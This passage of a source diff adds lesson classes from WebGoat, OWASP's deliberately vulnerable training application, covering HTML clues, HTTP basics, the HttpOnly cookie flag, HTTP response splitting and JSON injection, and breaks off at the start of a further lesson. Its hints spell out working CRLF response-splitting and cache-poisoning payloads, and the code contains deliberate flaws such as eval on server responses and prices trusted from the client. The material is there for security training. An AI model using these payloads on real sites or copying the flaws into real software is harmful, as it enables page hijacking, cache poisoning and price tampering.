TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new B(new StringElement("*User Name: "))));
row2.addElement(new TD(new B(new StringElement("*Password: "))));
Input input1 = new Input(Input.TEXT, USERNAME, "");
Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
row1.addElement(new TD(input1));
row2.addElement(new TD(input2));
t.addElement(row1);
t.addElement(row2);
Element b = ECSFactory.makeButton("Login");
t.addElement(new TR(new TD(b)));
ec.addElement(t);
return (ec);
}
/**
* Gets the hints attribute of the CluesScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("You can view the HTML source by selecting 'view source' in the browser menu.");
hints.add("There are lots of clues in the HTML");
hints
.add("Search for the word HIDDEN, look at URLs, look for comments.");
return hints;
}
/**
* Gets the instructions attribute of the HtmlClues object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "Below is an example of a forms based authentication form. Look for clues to help you log in.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(30);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the category attribute of the FailOpenAuthentication object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.CODE_QUALITY;
}
/**
* Gets the title attribute of the CluesScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Discover Clues in the HTML");
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

136
main/project/JavaSource/org/owasp/webgoat/lessons/HttpBasics.java Normal file
View File

@ -0,0 +1,136 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.Input;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class HttpBasics extends LessonAdapter
{
private final static String PERSON = "person";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
StringBuffer person = null;
try
{
ec.addElement(new StringElement("Enter your name: "));
person = new StringBuffer(s.getParser().getStringParameter(PERSON,
""));
person.reverse();
Input input = new Input(Input.TEXT, PERSON, person.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
if (!person.toString().equals("")
&& getLessonTracker(s).getNumVisits() > 3)
{
makeSuccess(s);
}
return (ec);
}
/**
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Type in your name and press 'go'");
hints.add("Turn on Show Parameters or other features");
hints.add("Press the Show Lesson Plan button to view a lesson summary");
hints.add("Press the Show Solution button to view a lesson solution");
return hints;
}
/**
* Gets the ranking attribute of the HelloScreen object
*
* @return The ranking value
*/
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Category getDefaultCategory()
{
return Category.GENERAL;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Http Basics");
}
}

437
main/project/JavaSource/org/owasp/webgoat/lessons/HttpOnly.java Normal file
View File

@ -0,0 +1,437 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.security.MessageDigest;
import javax.servlet.http.HttpServletResponse;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.Form;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
import sun.misc.BASE64Encoder;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class HttpOnly extends LessonAdapter {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
private final static Integer DEFAULT_RANKING = new Integer(125);
private final static String UNIQUE2U = "unique2u";
private final static String HTTPONLY = "httponly";
private final static String ACTION = "action";
private final static String READ = "Read Cookie";
private final static String WRITE = "Write Cookie";
private final static String READ_RESULT = "read_result";
private boolean httpOnly = false;
private boolean readSuccess = false;
private boolean writeSuccess = false;
private String original = "undefined";
/**
* Gets the title attribute of the EmailScreen object
*
* @return The title value
*/
public String getTitle()
{
return ( "HTTPOnly Test" );
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent( WebSession s )
{
ElementContainer ec = new ElementContainer();
String action = null;
String http = null;
http = s.getRequest().getParameter(HTTPONLY);
action = s.getRequest().getParameter(ACTION);
if(http != null) {
httpOnly = Boolean.parseBoolean(http);
}
if(httpOnly) {
// System.out.println("HttpOnly: Setting HttpOnly for cookie");
setHttpOnly(s);
} else {
// System.out.println("HttpOnly: Removing HttpOnly for cookie");
removeHttpOnly(s);
}
if(action != null) {
if(action.equals(READ)) {
handleReadAction(s);
} else if(action.equals(WRITE)) {
handleWriteAction(s);
} else {
//s.setMessage("Invalid Request. Please try again.");
}
}
try
{
ec.addElement(makeContent(s));
}
catch ( Exception e )
{
s.setMessage( "Error generating " + this.getClass().getName() );
e.printStackTrace();
}
return ( ec );
}
/**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{
return Category.XSS;
}
/**
* Gets the hints attribute of the EmailScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add( "Read the directions and try out the buttons." );
return hints;
}
private String createCustomCookieValue() {
String value = null;
byte[] buffer = null;
MessageDigest md = null;
BASE64Encoder encoder = new BASE64Encoder();
try {
md = MessageDigest.getInstance("SHA");
buffer = new Date().toString().getBytes();
md.update(buffer);
value = encoder.encode(md.digest());
original = value;
} catch (Exception e) {
e.printStackTrace();
}
return value;
}
private void setHttpOnly(WebSession s) {
String value = createCustomCookieValue();
HttpServletResponse response = s.getResponse();
String cookie = s.getCookie(UNIQUE2U);
if(cookie == null || cookie.equals("HACKED")) {
response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly");
original = value;
} else {
response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly");
original = cookie;
}
}
private void removeHttpOnly(WebSession s) {
String value = createCustomCookieValue();
HttpServletResponse response = s.getResponse();
String cookie = s.getCookie(UNIQUE2U);
if(cookie == null || cookie.equals("HACKED")) {
response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";");
original = value;
} else {
response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";");
original = cookie;
}
}
private ElementContainer makeContent(WebSession s) {
ElementContainer ec = new ElementContainer();
Element r = null;
Table t = null;
TR tr = null;
Form f = null;
ec.addElement(new StringElement(getJavaScript()));
f = new Form();
t = new Table();
t.setWidth(500);
tr = new TR();
tr.addElement(new TD(new StringElement("Your browser appears to be: " + getBrowserType(s))));
t.addElement(tr);
tr = new TR();
t.addElement(tr);
tr = new TR();
tr.addElement( new TD(new StringElement ("Do you wish to turn HTTPOnly on?")));
tr.addElement( new TD(new StringElement ("Yes")));
if(httpOnly == true) {
r = new Input(Input.RADIO, HTTPONLY, "True" ).addAttribute("Checked", "true");
} else {
r = new Input(Input.RADIO, HTTPONLY, "True" ).addAttribute("onClick", "document.form.submit()");
}
tr.addElement(new TD(r));
tr.addElement( new TD(new StringElement ("No")));
if(httpOnly == false) {
r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("Checked", "True");
} else {
r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("onClick", "document.form.submit()");
}
tr.addElement(new TD(r));
r = new Input(Input.HIDDEN, READ_RESULT, "");
tr.addElement(r);
t.addElement(tr);
/* tr.addElement(new TD(new StringElement("<strong>Status:</strong> " )));
t.addElement(tr);
if(httpOnly == true) {
tr.addElement(new TD(new StringElement("<div id=\"status\">On</div>")));
} else {
tr.addElement(new TD(new StringElement ("<div id=\"status\">Off</div>")));
}
t.addElement(tr);
t.addElement(new TR(new TD(new StringElement("<br/>"))));
*/ f.addElement(t);
t = new Table();
tr = new TR();
r = new Input(Input.SUBMIT, ACTION, READ).addAttribute("onclick", "myAlert();");
tr.addElement(new TD(r));
r = new Input(Input.SUBMIT, ACTION, WRITE).addAttribute("onclick", "modifyAlert();");
tr.addElement(new TD(r));
t.addElement(tr);
f.addElement(t);
ec.addElement(f);
return ec;
}
private void handleReadAction(WebSession s) {
String displayed = s.getRequest().getParameter(READ_RESULT);
if(httpOnly == true) {
if(displayed.indexOf(UNIQUE2U) != -1) {
s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U
+ "' cookie. It allowed direct client side read access to this cookie.");
} else {
s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U
+ "' cookie by preventing direct client side read access to this cookie.");
if (writeSuccess) {
if (!this.isCompleted(s)) {
makeSuccess(s);
readSuccess = false;
writeSuccess = false;
}
} else {
if (!this.isCompleted(s)) {
s.setMessage("Now try to see if your browser protects write access to this cookie.");
readSuccess = true;
}
}
}
} else if(displayed.indexOf(UNIQUE2U) != -1) {
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U + "' cookie was displayed in the alert dialog.");
} else {
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U
+ "' cookie should have been displayed in the alert dialog, but was not for some reason. "
+ "(This shouldn't happen)");
}
}
private void handleWriteAction(WebSession s) {
String hacked = s.getCookie(UNIQUE2U);
if(httpOnly == true) {
if(!original.equals(hacked)) {
s.setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '" + UNIQUE2U + "' cookie.");
s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked + " on the client side.");
} else {
s.setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '"
+ UNIQUE2U + "' cookie by preventing client side modification.");
if (readSuccess) {
if (!this.isCompleted(s)) {
makeSuccess(s);
readSuccess = false;
writeSuccess = false;
}
} else {
if (!this.isCompleted(s)) {
s.setMessage("Now try to see if your browser protects read access to this cookie.");
writeSuccess = true;
}
}
}
} else if(!original.equals(hacked)) {
s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U
+ "' cookie to be modified on the client side.");
} else {
s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U
+ "' cookie to be modified on the client side, but it was not for some reason. "
+ "(This shouldn't happen)");
}
}
private String getJavaScript() {
StringBuffer buffer = new StringBuffer();
buffer.append("<script language=\"javascript\">\n");
buffer.append("function myAlert() {\n");
buffer.append("alert(document.cookie);\n");
buffer.append("document.form.read_result.value=document.cookie;\n");
buffer.append("return true;\n");
buffer.append("}\n");
buffer.append("function modifyAlert() {\n");
buffer.append("document.cookie='" + UNIQUE2U + "=HACKED;\';\n");
buffer.append("alert(document.cookie);\n");
buffer.append("return true;\n");
buffer.append("}\n");
buffer.append("</script>\n");
return buffer.toString();
}
private String getBrowserType(WebSession s) {
int offset = -1;
String result = "unknown";
String browser = s.getHeader("user-agent").toLowerCase();
if(browser != null) {
if(browser.indexOf("firefox") != -1) {
browser = browser.substring(browser.indexOf("firefox"));
offset = getOffset(browser);
result = browser.substring(0, offset);
} else if(browser.indexOf("msie 6") != -1) {
result = "Internet Explorer 6";
} else if(browser.indexOf("msie 7") != -1) {
result = "Internet Explorer 7";
} else if(browser.indexOf("msie") != -1) {
result = "Internet Explorer";
} else if(browser.indexOf("opera") != -1) {
result = "Opera";
} else if(browser.indexOf("safari") != -1) {
result = "Safari";
} else if(browser.indexOf("netscape") != -1) {
browser = browser.substring(browser.indexOf("netscape"));
offset = getOffset(browser);
result = browser.substring(0, offset);
} else if(browser.indexOf("konqueror") != -1) {
result = "Konqueror";
} else if(browser.indexOf("mozilla") != -1) {
result = "Mozilla";
}
}
return result;
}
private int getOffset(String s) {
int result = s.length();
for(int i=0; i<s.length(); i++) {
if(s.charAt(i) < 33 || s.charAt(i) > 126) {
result = i;
break;
}
}
return result;
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

297
main/project/JavaSource/org/owasp/webgoat/lessons/HttpSplitting.java Normal file
View File

@ -0,0 +1,297 @@
package org.owasp.webgoat.lessons;
import java.io.PrintWriter;
import java.net.URLDecoder;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.*;
import javax.servlet.http.HttpServletResponse;
import org.apache.ecs.*;
import org.apache.ecs.html.*;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created September 30, 2006
*/
public class HttpSplitting extends SequentialLessonAdapter
{
private final static String LANGUAGE = "language";
private final static String REDIRECT = "fromRedirect";
private static String STAGE = "stage";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
/**
* Description of the Method
*
* @param s Current WebSession
*/
public void handleRequest(WebSession s)
{
//Setting a special action to be able to submit to redirect.jsp
Form form = new Form("/WebGoat/lessons/General/redirect.jsp?"
+ "Screen=" + String.valueOf(getScreenId()) + "&menu="
+ getDefaultCategory().getRanking().toString(), Form.POST)
.setName("form").setEncType("");
form.addElement(createContent(s));
setContent(form);
}
protected Element doHTTPSplitting(WebSession s)
{
ElementContainer ec = new ElementContainer();
String lang = null;
try
{
ec.addElement(createAttackEnvironment(s));
lang = URLDecoder.decode(s.getParser()
.getRawParameter(LANGUAGE, ""), "UTF-8");
//Check if we are coming from the redirect page
String fromRedirect = s.getParser().getStringParameter(
"fromRedirect", "");
if (lang.length() != 0 && fromRedirect.length() != 0)
{
//Split by the line separator line.separator is platform independant
String lineSep = System.getProperty("line.separator");
String[] arrTokens = lang.toString().toUpperCase().split(
lineSep);
//Check if the user ended the first request and wrote the second malacious reply
if (Arrays.binarySearch(arrTokens, "CONTENT-LENGTH: 0") >= 0
&& Arrays.binarySearch(arrTokens, "HTTP/1.1 200 OK") >= 0)
{
HttpServletResponse res = s.getResponse();
res.setContentType("text/html");
PrintWriter out = new PrintWriter(res.getOutputStream());
String message = lang.substring(lang.indexOf("<html>"));
out.print(message);
out.flush();
out.close();
getLessonTracker(s).setStage(2);
StringBuffer msg = new StringBuffer();
msg.append("Good Job! ");
msg
.append("This lesson has detected your successfull attack, ");
msg
.append("time to elevate your attack to a higher level. ");
msg
.append("Try again and add Last-Modified header, intercept");
msg.append("the reply and replace it with a 304 reply.");
s.setMessage(msg.toString());
}
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
return doHTTPSplitting(s);
}
protected Element doStage2(WebSession s) throws Exception
{
return doCachePoisining(s);
}
protected Element createAttackEnvironment(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
String lang = null;
if (getLessonTracker(s).getStage() == 1)
{
ec.addElement(new H3("Stage 1: HTTP Splitting:<br><br>"));
}
else
{
ec.addElement(new H3("Stage 2: Cache Poisoning:<br><br>"));
}
ec.addElement(new StringElement("Search by country : "));
lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""),
"UTF-8");
//add the search by field
Input input = new Input(Input.TEXT, LANGUAGE, lang.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Search!");
ec.addElement(b);
return ec;
}
protected Element doCachePoisining(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
try
{
s
.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison"
+ " the victim's cache. Type 'restart' in the input field if you wish to "
+ " to return to the HTTP Splitting lesson.<br><br>");
if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals(
"restart"))
{
getLessonTracker(s).getLessonProperties().setProperty(STAGE,
"1");
return (doHTTPSplitting(s));
}
ec.addElement(createAttackEnvironment(s));
String lang = URLDecoder.decode(s.getParser().getRawParameter(
LANGUAGE, ""), "UTF-8");
String fromRedirect = s.getParser()
.getStringParameter(REDIRECT, "");
if (lang.length() != 0 && fromRedirect.length() != 0)
{
String lineSep = System.getProperty("line.separator");
String dateStr = lang.substring(lang.indexOf("Last-Modified:")
+ "Last-Modified:".length(), lang.indexOf(lineSep, lang
.indexOf("Last-Modified:")));
if (dateStr.length() != 0)
{
Calendar cal = Calendar.getInstance();
DateFormat sdf = new SimpleDateFormat(
"EEE, dd MMM yyyy HH:mm:ss z", Locale.US);
if (sdf.parse(dateStr.trim()).after(cal.getTime()))
{
makeSuccess(s);
}
}
}
}
catch (Exception ex)
{
ec.addElement(new P().addElement(ex.getMessage()));
}
return ec;
}
protected Category getDefaultCategory()
{
return Category.GENERAL;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Enter a language for the system to search by.");
hints.add("Use CR (%0d) and LF (%0a) for a new line");
hints
.add("The Content-Length: 0 will tell the server that the first request is over.");
hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK");
hints
.add("Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a&lt;html&gt;Insert undesireable content here&lt;/html&gt;");
hints
.add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date.");
hints
.add("Try language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a&lt;html&gt;Insert undesireable content here&lt;/html&gt;");
hints
.add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page");
hints
.add("Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(20);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("HTTP Splitting");
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
}

315
main/project/JavaSource/org/owasp/webgoat/lessons/JSONInjection.java Normal file
View File

@ -0,0 +1,315 @@
package org.owasp.webgoat.lessons;
import org.owasp.webgoat.session.WebSession;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.Div;
import org.apache.ecs.html.Form;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Table;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.BR;
import java.io.PrintWriter;
import java.util.List;
import java.util.ArrayList;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created December 25, 2006
*/
public class JSONInjection extends LessonAdapter
{
private final static Integer DEFAULT_RANKING = new Integer(30);
private final static String TRAVEL_FROM = "travelFrom";
private final static String TRAVEL_TO = "travelTo";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
public void handleRequest(WebSession s)
{
try
{
if (s.getParser().getRawParameter("from", "").equals("ajax"))
{
String lineSep = System.getProperty("line.separator");
String jsonStr = "{"
+ lineSep
+ "\"From\": \"Boston\","
+ lineSep
+ "\"To\": \"Seattle\", "
+ lineSep
+ "\"flights\": ["
+ lineSep
+ "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"},"
+ lineSep
+ "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} "
+ lineSep + "]" + lineSep + "}";
s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse()
.getOutputStream());
out.print(jsonStr);
out.flush();
out.close();
return;
}
}
catch (Exception ex)
{
ex.printStackTrace();
}
Form form = new Form(getFormAction(), Form.POST).setName("form")
.setEncType("");
form.setOnSubmit("return check();");
form.addElement(createContent(s));
setContent(form);
}
/**
* Description of the Method
*
* @param s Current WebSession
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String lineSep = System.getProperty("line.separator");
String script = "<script>"
+ lineSep
+ "function getFlights() {"
+ lineSep
+ "var fromField = document.getElementById('"
+ TRAVEL_FROM
+ "');"
+ lineSep
+ "if (fromField.value.length < 3 || fromField.value!='BOS') { return; }"
+ lineSep
+ "var toField = document.getElementById('"
+ TRAVEL_TO
+ "');"
+ lineSep
+ "if (toField.value.length < 3 || toField.value!='SEA') { return; }"
+ lineSep
+ "var url = '" + getLink()
+ "&from=ajax&"
+ TRAVEL_FROM
+ "=' + encodeURIComponent(fromField.value) +"
+ "'&"
+ TRAVEL_TO
+ "=' + encodeURIComponent(toField.value);"
+ lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep
+ "req = new XMLHttpRequest();"
+ lineSep
+ "} else if (window.ActiveXObject) {"
+ lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep
+ " }"
+ lineSep
+ " req.open('GET', url, true);"
+ lineSep
+ " req.onreadystatechange = callback;"
+ lineSep
+ " req.send(null);"
+ lineSep
+ "}"
+ lineSep
+ "function callback() {"
+ lineSep
+ " if (req.readyState == 4) { "
+ lineSep
+ " if (req.status == 200) { "
+ lineSep
+ " var card = eval('(' + req.responseText + ')');"
+ lineSep
+ " var flightsDiv = document.getElementById('flightsDiv');"
+ lineSep
+ " flightsDiv.innerHTML = '';"
+ lineSep
+ " var strHTML='';"
+ lineSep
+ " strHTML = '<tr><td>&nbsp;</td><td>No of Stops</td>';"
+ lineSep
+ " strHTML = strHTML + '<td>Stops</td><td>Prices</td></tr>';"
+ lineSep
+ " for(var i=0; i<card.flights.length; i++){"
+ lineSep
+ " var node = card.flights[i];"
+ lineSep
+ " strHTML = strHTML + '<tr><td><input name=\"radio'+i+'\" type=\"radio\" id=\"radio'+i+'\"></td><td>';"
+ lineSep
+ " strHTML = strHTML + card.flights[i].stops + '</td><td>';"
+ lineSep
+ " strHTML = strHTML + card.flights[i].transit + '</td><td>';"
+ lineSep
+ " strHTML = strHTML + '<div name=\"priceID'+i+'\" id=\"priceID'+i+'\">' + card.flights[i].price + '</div></td></tr>';"
+ lineSep
+ " }"
+ lineSep
+ " strHTML = '<table border=\"1\">' + strHTML + '</table>';"
+ lineSep
+ " flightsDiv.innerHTML = strHTML;"
+ lineSep
+ " }}}"
+ lineSep
+
"function check(){"
+ lineSep
+ " if ( document.getElementById('radio0').checked )"
+ lineSep
+ " { document.getElementById('price2Submit').value = document.getElementById('priceID0').innerHTML; return true;}"
+ lineSep
+ " else if ( document.getElementById('radio1').checked )"
+ lineSep
+ " { document.getElementById('price2Submit').value = document.getElementById('priceID1').innerHTML; return true;}"
+ lineSep + " else " + lineSep
+ " { alert('Please choose one flight'); return false;}" + lineSep + "}"
+ lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script));
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
.setWidth("90%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD("From: "));
Input in = new Input(Input.TEXT, TRAVEL_FROM, "");
in.addAttribute("onkeyup", "getFlights();");
in.addAttribute("id", TRAVEL_FROM);
tr.addElement(new TD(in));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD("To: "));
in = new Input(Input.TEXT, TRAVEL_TO, "");
in.addAttribute("onkeyup", "getFlights();");
in.addAttribute("id", TRAVEL_TO);
tr.addElement(new TD(in));
t1.addElement(tr);
ec.addElement(t1);
ec.addElement(new BR());
ec.addElement(new BR());
Div div = new Div();
div.addAttribute("name", "flightsDiv");
div.addAttribute("id", "flightsDiv");
ec.addElement(div);
Input b = new Input();
b.setType(Input.SUBMIT);
b.setValue("Submit");
b.setName("SUBMIT");
ec.addElement(b);
Input price2Submit = new Input();
price2Submit.setType(Input.HIDDEN);
price2Submit.setName("price2Submit");
price2Submit.setValue("");
price2Submit.addAttribute("id", "price2Submit");
ec.addElement(price2Submit);
if (s.getParser().getRawParameter("radio0", "").equals("on"))
{
String price = s.getParser().getRawParameter("price2Submit", "");
price = price.replace("$", "");
if (Integer.parseInt(price) < 600)
{
makeSuccess(s);
}
else
{
s
.setMessage("You are close, try to set the price for the non-stop flight to be less than $600");
}
}
return ec;
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa", MAC_LOGO);
}
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("JSON stands for JavaScript Object Notation.");
hints.add("JSON is a way of representing data just like XML.");
hints.add("The JSON payload is easily interceptable.");
hints.add("Intercept the reply, change the $600 to $25.");
return hints;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("JSON Injection");
}
}

333
main/project/JavaSource/org/owasp/webgoat/lessons/JavaScriptValidation.java Normal file
View File

@ -0,0 +1,333 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.Div;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
